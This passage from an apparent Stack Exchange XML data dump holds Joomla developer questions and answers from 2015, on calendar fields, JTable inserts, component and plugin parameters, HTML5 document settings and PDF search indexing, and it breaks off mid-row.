  <row Id="9336" PostTypeId="1" AcceptedAnswerId="9340" CreationDate="2015-04-04T06:29:45.993" Score="0" ViewCount="112" Body="&lt;p&gt;I am new to joomla, want to implement two calenders in a page ...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; From : &#xA;    &amp;lt;?php&#xA;    echo JHTML::calendar('sch_from', 'sch_from', '%Y-%m-%d');&#xA;    ?&amp;gt;&#xA; To :&#xA;    &amp;lt;?php&#xA;    echo JHTML::calendar('sch_to', 'sch_to', '%Y-%m-%d');&#xA;    ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But first calendar only working... is there any issue in code?&lt;/p&gt;&#xA;" OwnerUserId="3713" LastEditorUserId="3869" LastEditDate="2015-04-04T14:54:16.133" LastActivityDate="2015-04-04T14:54:16.133" Title="How to add two calenders in a page?" Tags="|joomla-3.x|jhtml|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9337" PostTypeId="1" CreationDate="2015-04-04T08:42:36.960" Score="3" ViewCount="1271" Body="&lt;p&gt;I'm writing a small Joomla component for my school but there is a little problem with it. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I go to edit a record and then save it, instead of updating that record, it saves it as a new record with updated field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked the button in view for any mistakes, but can't see any issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can any one please tell me some common mistakes that could cause this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Controller&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class StudentControllerStudent extends JControllerForm&#xA;{&#xA;    public function __construct($config = array()) {&#xA;        parent::__construct($config);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Model&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class StudentModelStudent extends JModelAdmin&#xA;{&#xA;    public function getTable($type = 'Student', $prefix = 'StudentTable', $config = array())&#xA;    {&#xA;        return JTable::getInstance($type, $prefix, $config);&#xA;    }&#xA;&#xA;        public function getForm($data = array(), $loadData = true) {&#xA;            $form = $this-&amp;gt;loadForm('com_student.student', 'student',array('control' =&amp;gt; 'jform', 'load_data' =&amp;gt; $loadData));&#xA;&#xA;            if (empty($form))&#xA;            {&#xA;                return false;&#xA;            }&#xA;            return $form;&#xA;        }&#xA;&#xA;        protected function loadFormData() {&#xA;            return $this-&amp;gt;getItem();&#xA;        }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;view.html.php&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class StudentViewStudent extends JViewLegacy {&#xA;&#xA;    protected $state;&#xA;    protected $item;&#xA;    protected $form;&#xA;&#xA;    /**&#xA;     * Display the view&#xA;     */&#xA;    public function display($tpl = null) {&#xA;        $this-&amp;gt;state = $this-&amp;gt;get('State');&#xA;        $this-&amp;gt;item = $this-&amp;gt;get('Item');&#xA;        $this-&amp;gt;form = $this-&amp;gt;get('Form');&#xA;&#xA;        // Check for errors.&#xA;        if (count($errors = $this-&amp;gt;get('Errors'))) {&#xA;            throw new Exception(implode(&quot;\n&quot;, $errors));&#xA;        }&#xA;&#xA;        $this-&amp;gt;addToolbar();&#xA;        parent::display($tpl);&#xA;    }&#xA;&#xA;&#xA;    protected function addToolbar() {&#xA;            JFactory::getApplication()-&amp;gt;input-&amp;gt;set('hidemainmenu', true);&#xA;            JToolbarHelper::title('edit item');&#xA;            JToolbarHelper::save('student.save');&#xA;            if (empty($this-&amp;gt;item-&amp;gt;id))&#xA;            {&#xA;                JToolbarHelper::cancel('student.cancel');&#xA;            }&#xA;            else&#xA;            {&#xA;                JToolbarHelper::cancel('student.cancel', 'JTOOLBAR_CLOSE');&#xA;            }&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3553" LastEditorUserId="126" LastEditDate="2015-06-11T12:54:14.820" LastActivityDate="2019-09-22T04:03:18.403" Title="Edit a record saves a new record with updated fields" Tags="|joomla-3.x|joomla-2.5|mvc|" AnswerCount="3" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="9338" PostTypeId="1" CreationDate="2015-04-04T09:05:18.833" Score="0" ViewCount="1207" Body="&lt;p&gt;I need to integrate a &lt;code&gt;users&lt;/code&gt; table instead of the default Joomla &lt;code&gt;_user&lt;/code&gt; table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The table &lt;code&gt;pref_users&lt;/code&gt; has simple id/user/email/password fields (not hashed). Is there anyway I can make Joomla use it instead of the default table for users?&lt;/p&gt;&#xA;" OwnerUserId="4013" LastEditorUserId="4013" LastEditDate="2015-04-04T10:20:06.130" LastActivityDate="2015-04-13T04:39:59.980" Title="Use different mysql table for users" Tags="|joomla-3.x|database|mysql|user|sql|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9339" PostTypeId="2" ParentId="9338" CreationDate="2015-04-04T09:45:40.620" Score="1" Body="&lt;p&gt;You can check user helper file in Joomla! library &lt;code&gt;{site_root}/libraries/user/helper.php&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find all related functions over there. To convert pain text to hash password there is a function called &lt;code&gt;getCryptedPassword&lt;/code&gt;. This function accepts several arguments. In most cases default arguments works perfectly, but You can use them as per your need. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;With default argument: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$passwordhash = JUserHelper::getCryptedPassword('plain_text_password'); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3869" LastEditorUserId="3869" LastEditDate="2015-04-13T04:39:59.980" LastActivityDate="2015-04-13T04:39:59.980" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9340" PostTypeId="2" ParentId="9336" CreationDate="2015-04-04T10:36:15.987" Score="1" Body="&lt;p&gt;The arguments you have supplied is wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The function has implemented with following arguments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public static function calendar($value, $name, $id, $format = '%Y-%m-%d', $attribs = null) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It should be like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JHTML::calendar('', 'sch_from', 'sch_from', '%Y-%m-%d');&#xA;JHTML::calendar('', 'sch_to', 'sch_to', '%Y-%m-%d');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-04-04T10:36:15.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9341" PostTypeId="2" ParentId="9333" CreationDate="2015-04-04T12:11:31.303" Score="2" Body="&lt;p&gt;For best understanding, you should check &lt;code&gt;com_banners&lt;/code&gt; component. As you stated two ways to add &lt;code&gt;&amp;lt;name&amp;gt;&lt;/code&gt; tag, both are ok to use and works well. In &lt;code&gt;&amp;lt;name&amp;gt;&lt;/code&gt; tag you can write anything you prefer to, but as per document it should be `com_{compoentname}'. Let me give you two examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you write like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;name&amp;gt;what ever&amp;lt;/name&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;whate ever&lt;/code&gt; will be the name of your component and will display same on both extension manager as well as on components menu.(Here I have intentionally ignored &lt;code&gt;&amp;lt;menu&amp;gt;&lt;/code&gt; tag, that's out of the discussion for now.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where as if you write like below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;name&amp;gt;com_componentname&amp;lt;/name&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;com_componentname&lt;/code&gt; will be the name of the component in extension manager as well as in components menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But here if you have used language file &lt;code&gt;en-GB.com_componentname.sys.ini&lt;/code&gt; along with above &lt;code&gt;com_componentname&lt;/code&gt; usage. You can specify language string for &lt;code&gt;com_componentname&lt;/code&gt;. Joomla automatically searches for that name in relative language file.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;COM_COMPONENTNAME=&quot;My whatever component&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and now this new language string &lt;code&gt;My whatever component&lt;/code&gt; will display on both extension manager as well as on components menu. This is how it works. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Language file does not allow language key to be separated by &lt;code&gt;white-space&lt;/code&gt;. And I think that is why the usage of &lt;code&gt;&amp;lt;name&amp;gt;what ever&amp;lt;/name&amp;gt;&lt;/code&gt; does  display as it is.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hope I am descriptive enough. :)&lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-04-04T12:11:31.303" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9342" PostTypeId="2" ParentId="7425" CreationDate="2015-04-04T12:48:32.473" Score="1" Body="&lt;p&gt;If you are using an external database (database installed outside of hosting domain.), then you have to make sure that you are allowed to connect to database remotely (Even on intranet).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this will help you:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/a/8108500/3260012&quot;&gt;https://stackoverflow.com/a/8108500/3260012&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://dba.stackexchange.com/questions/13227/how-can-i-allow-an-oracle-database-to-be-accessed-remotely&quot;&gt;https://dba.stackexchange.com/questions/13227/how-can-i-allow-an-oracle-database-to-be-accessed-remotely&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://docs.oracle.com/cd/B25329_01/doc/admin.102/b25107/network.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://docs.oracle.com/cd/B25329_01/doc/admin.102/b25107/network.htm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3869" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2015-04-04T12:48:32.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9343" PostTypeId="2" ParentId="8866" CreationDate="2015-04-04T13:23:47.097" Score="0" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function($) {&#xA;    $('.plegable').on('click', function(){ &#xA;        $(this).children('p').slideToggle(); &#xA;    });&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-04-04T13:23:47.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9344" PostTypeId="1" AcceptedAnswerId="9349" CreationDate="2015-04-04T14:34:19.577" Score="2" ViewCount="709" Body="&lt;p&gt;Apologize for my bad php knowledge, how to set html5 flag for the current document? Something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $document-&amp;gt;setHtml5(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This to be executed in template.php where we do not have $document.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My template lacks support for this flag, but in head.php we have:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($document-&amp;gt;isHtml5())&#xA;    {&#xA;        $buffer .= $tab . '&amp;lt;meta charset=&quot;' . $document-&amp;gt;getCharset() . '&quot; /&amp;gt;' . $lnEnd;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1995" LastEditorUserId="1995" LastEditDate="2015-04-04T15:20:49.597" LastActivityDate="2015-04-05T04:03:41.803" Title="How to set html5 property within template.php" Tags="|php|jdocument|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9345" PostTypeId="1" AcceptedAnswerId="9351" CreationDate="2015-04-04T19:08:16.917" Score="10" ViewCount="5454" Body="&lt;p&gt;To retreive a param I use:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$myparam = JComponentHelper::getParams('com_mycomponent')-&amp;gt;get('myparam');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But what is the right method to store a component's param?&lt;/p&gt;&#xA;" OwnerUserId="3567" LastActivityDate="2017-06-01T15:08:22.987" Title="How to set a component's param dynamically?" Tags="|joomla-3.x|component-params|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="9346" PostTypeId="1" CreationDate="2015-04-04T22:38:09.327" Score="1" ViewCount="922" Body="&lt;p&gt;I know this could be interpreted as a minor or a newbie question but I would like to improve my code. So, in a best coding practice perspective how to call/use plugin parameters? My two code examples will do the same, but which is the proper way of doing it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$my_parameter = $this-&amp;gt;params-&amp;gt;get('my_parameter', 'default_value');&#xA;&#xA;if ($my_parameter) &#xA;{&#xA;    ...&#xA;    $xpto = $my_parameter;&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($this-&amp;gt;params-&amp;gt;get('my_parameter', 'default_value')) &#xA;{&#xA;    ...&#xA;    $xpto = $this-&amp;gt;params-&amp;gt;get('my_parameter', 'default_value');&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2087" LastActivityDate="2015-04-05T03:59:29.610" Title="Proper way to call/use plugin parameters" Tags="|joomla-3.x|development|plugin|best-practices|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9347" PostTypeId="2" ParentId="9346" CreationDate="2015-04-04T23:53:36.160" Score="0" Body="&lt;p&gt;Just to clarify, your &lt;code&gt;if&lt;/code&gt; statement is only checking is the parameter has a value which it will do if a default value has been set. It's &lt;strong&gt;not&lt;/strong&gt; checking to see if the parameter has a specific value.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Both code snippets you've provided are doing exactly the same thing, so you can use either one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally, I always define my parameters as a variable like you've done in the first example. Normally (in JS for example) I would only do this if I'm using it more than once however I tend to define each parameter as a variable no matter how many times it's being used to keep everything consistent. &lt;/p&gt;&#xA;" OwnerUserId="168" LastActivityDate="2015-04-04T23:53:36.160" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9348" PostTypeId="2" ParentId="9346" CreationDate="2015-04-05T03:59:29.610" Score="6" Body="&lt;p&gt;Technically in PHP you can also do this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if ($my_parameter = $this-&amp;gt;params-&amp;gt;get('my_parameter', 'default_value')) &#xA;{&#xA;    ...&#xA;    $xpto = $my_parameter;&#xA;    ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This assigns the variable and then checks that the variable is 'true', which in PHP means that it isn't &lt;code&gt;null&lt;/code&gt;, &lt;code&gt;false&lt;/code&gt;, &lt;code&gt;''&lt;/code&gt;, or &lt;code&gt;0&lt;/code&gt;. So depending on your default value, the if statement could be unnecessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My recommendation for any code style question is to avoid duplication as much as possible. I don't like the second method, because you've duplicated the default value. If you ever decide to change that default value, you have to remember to update it in two places. (And even if that sounds silly today, you will likely forget to update both places at some time, so save yourself the trouble and only define a default value once!)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first method allows you to define that value once, in that spot. (You could also do things like add a class constant with the default value and then reference that to avoid duplicating the value.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On whether you should assign it to a variable or not, the main question is do you use the variable again? If you just need to check that it is true, put the call to get the value in the &lt;code&gt;if&lt;/code&gt; statement and don't assign it to a variable. If you want to check that the param is one of several options, maybe try a switch:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;switch($this-&amp;gt;params-&amp;gt;get('my_parameter', 'default_value')) {&#xA;    case 'option_a':&#xA;         ...&#xA;         break;&#xA;    case 'option_b':&#xA;         ...&#xA;         break;&#xA;    default:&#xA;         ...&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, if you are actually doing things with that value (either math or printing it to something), store it in a variable!&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-04-05T03:59:29.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9349" PostTypeId="2" ParentId="9344" CreationDate="2015-04-05T04:03:41.803" Score="4" Body="&lt;p&gt;You should be able to do &lt;code&gt;JFactory::getDocument();&lt;/code&gt; in most places within Joomla (component, module, plugin, etc) to get the document object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And then you are correct, it is a call to &lt;code&gt;setHtml5&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$document = JFactory::getDocument();&#xA;$document-&amp;gt;setHtml5(true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the function declaration in Joomla's core for reference: &lt;a href=&quot;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/document/html/html.php#L337&quot; rel=&quot;nofollow&quot;&gt;https://github.com/joomla/joomla-cms/blob/staging/libraries/joomla/document/html/html.php#L337&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2015-04-05T04:03:41.803" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9350" PostTypeId="2" ParentId="4836" CreationDate="2015-04-05T12:59:18.107" Score="3" Body="&lt;p&gt;I have just recently stumbled upon following extension &lt;a href=&quot;http://www.joomreem.com/multiple-extra-fields-groups-mefg-for-k2.html&quot;&gt;http://www.joomreem.com/multiple-extra-fields-groups-mefg-for-k2.html&lt;/a&gt; . It is commercial, and they claim to solve just the problem of having multiple Extra Field Groups for a K2 item. Haven't tested it yet, though...&lt;/p&gt;&#xA;" OwnerUserId="3650" LastActivityDate="2015-04-05T12:59:18.107" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9351" PostTypeId="2" ParentId="9345" CreationDate="2015-04-05T13:07:41.367" Score="16" Body="&lt;p&gt;Many of our component's parameters depend on external conditions, so we need to periodically change them with some overnight processing.  Here's the code we use (adapted for use with com_content).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Load the current component params.&#xA;$params = JComponentHelper::getParams('com_content');&#xA;// Set new value of param(s)&#xA;$params-&amp;gt;set('show_title', 1);&#xA;&#xA;// Save the parameters&#xA;$componentid = JComponentHelper::getComponent('com_content')-&amp;gt;id;&#xA;$table = JTable::getInstance('extension');&#xA;$table-&amp;gt;load($componentid);&#xA;$table-&amp;gt;bind(array('params' =&amp;gt; $params-&amp;gt;toString()));&#xA;&#xA;// check for error&#xA;if (!$table-&amp;gt;check()) {&#xA;    echo $table-&amp;gt;getError();&#xA;    return false;&#xA;}&#xA;// Save to database&#xA;if (!$table-&amp;gt;store()) {&#xA;    echo $table-&amp;gt;getError();&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="64" LastActivityDate="2015-04-05T13:07:41.367" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="9354" PostTypeId="1" CreationDate="2015-04-06T01:16:01.150" Score="0" ViewCount="1153" Body="&lt;p&gt;On my Joomla 3 website, there are articles which contains &lt;code&gt;PDF&lt;/code&gt; files. My website is already listed to search engine (e.g Google) but my attached &lt;code&gt;PDF&lt;/code&gt; files seems not listed yet. When I type small parts of the text from randomly chosen &lt;code&gt;PDF&lt;/code&gt; in the search engine, it says no result is found. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my former HTML website, this used to work: my former website appeared in the search results. The website has been online for about two months now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea, how to make search engine look into the mentioned/attached &lt;code&gt;PDF&lt;/code&gt; files?&lt;/p&gt;&#xA;" OwnerUserId="1832" LastEditorUserId="3869" LastEditDate="2015-04-06T10:06:14.060" LastActivityDate="2015-04-06T10:25:07.270" Title="How to allow search engines to search through PDF file attached to my Joomla! article?" Tags="|joomla-3.x|articles|search|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9355" PostTypeId="2" ParentId="9354" CreationDate="2015-04-06T05:38:25.450" Score="2" Body="&lt;p&gt;I believe this is more likely, SEO related question. Joomla has nothing to do with that. But still I can guide you to a nice explanation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://acrobatusers.com/tutorials/make-your-pdfs-work-well-google-and-other-search-engines&quot; rel=&quot;nofollow&quot;&gt;https://acrobatusers.com/tutorials/make-your-pdfs-work-well-google-and-other-search-engines&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this will help. &lt;/p&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-04-06T05:38:25.450" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9356" PostTypeId="2" ParentId="8920" CreationDate="2015-04-06T06:32:18.257" Score="0" Body="&lt;p&gt;Lets consider one input for example scenario. Suppose you have one input in your form named &lt;code&gt;pluginname&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input name=&quot;pluginname&quot; id=&quot;pluginname&quot; value=&quot;thisandthat&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use localstorage (cause if may cause trouble on older browser). You can follow bellow trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On page load set one flag that will state us if any changes has been made to input with &lt;code&gt;true&lt;/code&gt;/&lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery(document).ready(function(){&#xA;    var changeflag = false,&#xA;        originalpluginname = '';&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bind focusin and focusout events for that element.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;jQuery('#pluginname').focusin(function(){&#xA;    if(originalpluginname === '') &#xA;        originalpluginname = this.value;&#xA;}).focusout(function(){&#xA;    if(originalpluginname !== this.value) &#xA;        changeflag = true;&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And then bind event to onbeforeunload to check if there any changes made by user. If use has made any change warn him.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$(window).on('beforeunload', function(){&#xA;    if(changeflag)&#xA;        return confirm('You have some unsaved changes, are you sure you want to leave before you save them?');&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3869" LastActivityDate="2015-04-06T06:32:18.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9357" PostTypeId="2" ParentId="9354" CreationDate="2015-04-06T10:25:07.270" Score="2" Body="&lt;p&gt;There is an extension for this. You can look it up at the JED, here:&#xA;&lt;a href=&quot;http://extensions.joomla.org/extensions/extension/search-a-indexing/site-search/os-pdf-indexer&quot; rel=&quot;nofollow&quot;&gt;http://extensions.joomla.org/extensions/extension/search-a-indexing/site-search/os-pdf-indexer&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It works only when you have pdf-files that are directly 'printed' from a text-file, not for pdf's that are only an image of a text.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the pdf-files are public over time Google searchbots will find them and index them.&lt;/p&gt;&#xA;" OwnerUserId="81" LastActivityDate="2015-04-06T10:25:07.270" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="9359" PostTypeId="2" ParentId="9299" CreationDate="2015-04-06T16:56:10.983" Score="2" Body="&lt;p&gt;You cannot set a Menu Item Alias as Default Home Page&lt;/p&gt;&#xA;" OwnerUserId="4023" LastActivityDate="2015-04-06T16:56:10.983" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="9361" PostTypeId="1" AcceptedAnswerId="9363" CreationDate="2015-04-07T07:41:15.453" Score="3" ViewCount="803" Body="&lt;p&gt;Here is the class definition&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class MyTable extends JTable{&#xA;&#xA;    public $parent_id = null;&#xA;    public $hits = 1;&#xA;&#xA;    function __construct()&#xA;    {&#xA;        parent::__construct('#__mytable', 'parent_id', JFactory::getDbo());&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and here is the problematic code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$table = new MyTable();&#xA;if(!$table-&amp;gt;load($id)){ //If the record doe not exist&#xA;    $table-&amp;gt;parent_id=id; //Setting the id for the new row&#xA;    echo &quot;Should be storing new table row...&quot;;&#xA;    $table-&amp;gt;store(true);//New record should be created here&#xA;}else{&#xA;    echo &quot;Record existed existed : &quot;;&#xA;    $table-&amp;gt;hit();&#xA;    echo &quot;$table-&amp;gt;hits hits&quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The problem is that $table-&gt;store returns true but does not create any records in the database.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add records manually, load() works fine. But it fails to INSERT a new row. getErrors() return NULL&lt;/p&gt;&#xA;" OwnerUserId="4026" LastActivityDate="2015-04-07T09:12:36.260" Title="JTable store() returns true but no row gets inserted" Tags="|joomla-3.4|jtable|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9363" PostTypeId="2" ParentId="9361" CreationDate="2015-04-07T08:14:29.003" Score="1" Body="&lt;p&gt;Apparently store() inserts a row &lt;em&gt;only&lt;/em&gt; if the primary key is not set (e.g parent_id is NULL). This doesn't work in my case because the parent_id is a foreign key and I must specify it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only solution I came up with is adding the row using a different method (e.g. running a query manually)&lt;/p&gt;&#xA;" OwnerUserId="4026" LastActivityDate="2015-04-07T08:14:29.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9364" PostTypeId="2" ParentId="9361" CreationDate="2015-04-07T09:12:36.260" Score="2" Body="&lt;p&gt;I believe, you want to bind your data at database level with primary-foreign key, Right? But FYI, Joomla itself is not using their data that way. Tables of Joomla does not use foreign key bindings at database level, but instead Joomla handles it at application(code) level. If you want to go ahead with Joomla standard way, and also if you are developing component for public/commercial usage, you should remove foreign key dependency at database level and then use JTable to accomplish above task.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will find relative discussion over here: &lt;a href=&quot;https://joomla.stackexchange.com/a/4541/3869&quot;&gt;https://joomla.stackexchange.com/a/4541/3869&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3869" LastEditorUserId="-1" LastEditDate="2017-04-13T12:50:35.780" LastActivityDate="2015-04-07T09:12:36.260" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="9366" PostTypeId="1" AcceptedAnswerId="9381" CreationDate="2015-04-07T12:32:42.237" Score="3" ViewCount="1733" Body="&lt;p&gt;I'm developing a new Joomla component where I have a &lt;code&gt;JAdminForm&lt;/code&gt; called &lt;code&gt;course.xml&lt;/code&gt;. This form has several text fields / text areas that will contain meta titles / tags for an item.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when submitted and saved to the database, I want to JSON encode these metadata fields for storage in a single database column, &lt;code&gt;metadata&lt;/code&gt;. Similarly, when the form loads I'd like to JSON decode these out into their respective form fields for (re)editing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There seems to be a few different approaches to solve this:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Override &lt;code&gt;JControllerForm&lt;/code&gt; &lt;code&gt;save()&lt;/code&gt; / &lt;code&gt;bind()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Override &lt;code&gt;JModelAdmin&lt;/code&gt; &lt;code&gt;save()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Use plugin events like &lt;code&gt;onContentPrepareForm&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My gut feeling is that I'd rather override than use plugins (seems like a sledgehammer cracking a nut), but looking to see what is 'standard'. This also seems like it'd be a fairly common use case (where the XML form used by JForm doesn't &lt;em&gt;exactly&lt;/em&gt; match the database), but I can't find a definitive resource on how to approach / implement.&lt;/p&gt;&#xA;" OwnerUserId="90" LastEditorUserId="90" LastEditDate="2015-04-07T12:56:53.933" 